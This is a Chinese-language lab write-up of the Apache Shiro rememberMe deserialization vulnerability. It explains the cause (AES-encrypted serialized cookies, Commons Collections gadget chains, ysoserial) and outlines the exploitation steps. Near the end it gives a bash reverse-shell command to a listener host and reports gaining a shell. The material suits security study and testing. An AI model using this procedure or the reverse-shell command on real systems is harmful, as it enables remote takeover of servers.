环境介绍
192.168.15.166作为漏洞靶场
192.168.15.129为接收反弹shell的主机
漏洞成因
Shiro反序列化漏洞主要是由于Shiro框架在处理序列化数据时未能正确验证或限制用户输入所导致的。这种漏洞利用了Java对象序列化和反序列化的机制,攻击者可以通过精心构造的恶意序列化数据进行攻击,导致远程代码执行或其他严重的安全问题。以下是Shiro反序列化漏洞的成因分析:
-
Java序列化机制的特性:
- Java对象序列化允许将对象的状态转换为字节流,以便存储或通过网络传输。当这些字节流被反序列化时,Java会将其还原为对象。
- 如果不严格控制反序列化过程中允许的类或对象,恶意用户可以通过发送特定的序列化数据,触发反序列化过程执行意料之外的代码。
-
Shiro中的Session机制:
- Shiro框架通常会将用户的会话数据(Session)序列化后存储在客户端(如Cookie)或服务器端。
- 当用户发送请求时,这些序列化数据会被Shiro反序列化为会话对象,以恢复用户的会话状态。
-
未充分验证输入数据:
- Shiro框架在反序列化Session数据时,未对传入的序列化数据进行充分的验证,导致攻击者可以构造恶意的序列化对象。
- 这些恶意对象在被反序列化时,会调用特定类的恶意方法,从而触发任意代码执行。
-
利用常见的Java反序列化漏洞链:
- 攻击者通常利用常见的Java反序列化漏洞链(如使用
Commons Collections
库)来构造恶意对象链,并通过反序列化触发该链中的代码执行。 - 这种方法依赖于Java的反射机制,攻击者可以调用任意类的任意方法,而不需要显式地在代码中调用这些方法。
- 攻击者通常利用常见的Java反序列化漏洞链(如使用
漏洞就是在点击记住我的时候
会有一个rememberme字段
它的运作流程是:
rememberme-->序列化-->aes加密-->base64编码发送给服务器接收
服务器再把它base64解码-->aes解密-->最后反序列化
如果攻击者精心构造恶意类 这些类会在反序列化过程中触发恶意代码执行
利用的过程就是:
选择或构造恶意类链:
- 恶意类链是由一组可被反序列化的类组成,这些类会在反序列化过程中触发恶意代码执行。常用的恶意类链可能涉及
Commons Collections
或Javassist
等库。 - 利用工具(如
ysoserial
)可以生成常见的Java反序列化payload,这些payload包含已经构造好的恶意类链。
注入恶意代码:
- 在恶意类链中,利用反射、动态代理或其他方法注入恶意代码,如执行系统命令或下载恶意文件。
- 典型的payload会调用系统命令执行(如
Runtime.getRuntime().exec("命令")
),从而控制目标服务器。
序列化恶意类:
- 将恶意类链序列化为字节流,这一步通常可以通过
ysoserial
等工具自动完成。
加密与编码:
- 将序列化的恶意数据进行AES加密,并进行Base64编码,模拟Shiro框架的工作流程。
发送恶意Payload:
- 将构造好的恶意数据以“remember me”Cookie的形式发送给目标服务器。
- 服务器接收到后,在Base64解码、AES解密、反序列化的过程中,触发恶意类链,从而执行恶意代码。
详细点说:
但是能利用漏洞的前提是 能够获取aes密钥(可以尝试爆破获取)
然后搭建一个VPS服务,使用序列化工具ysoserial指定利用链生成可反弹shell命令的序列化数据
当后面有客户端请求服务时,搭建的这个JRMP就会返回该序列化数据
生成AES加密-->base64编码后的rememberme字段(字段原内容就是去访问该vps获取序列化数据)
当服务器解码解密后得到序列化数据后 就会触发恶意构造类链 从而执行反弹shell的命令
最后攻击机监听端口即可成功getshell
而使用工具就省去了以上的步骤 直接一步到位
利用工具getshell
检测当前密钥
执行命令
虽然显示执行失败
bash -c 'bash -i >& /dev/tcp/192.168.15.129/8888 0>&1'
但是还是可以反弹到shell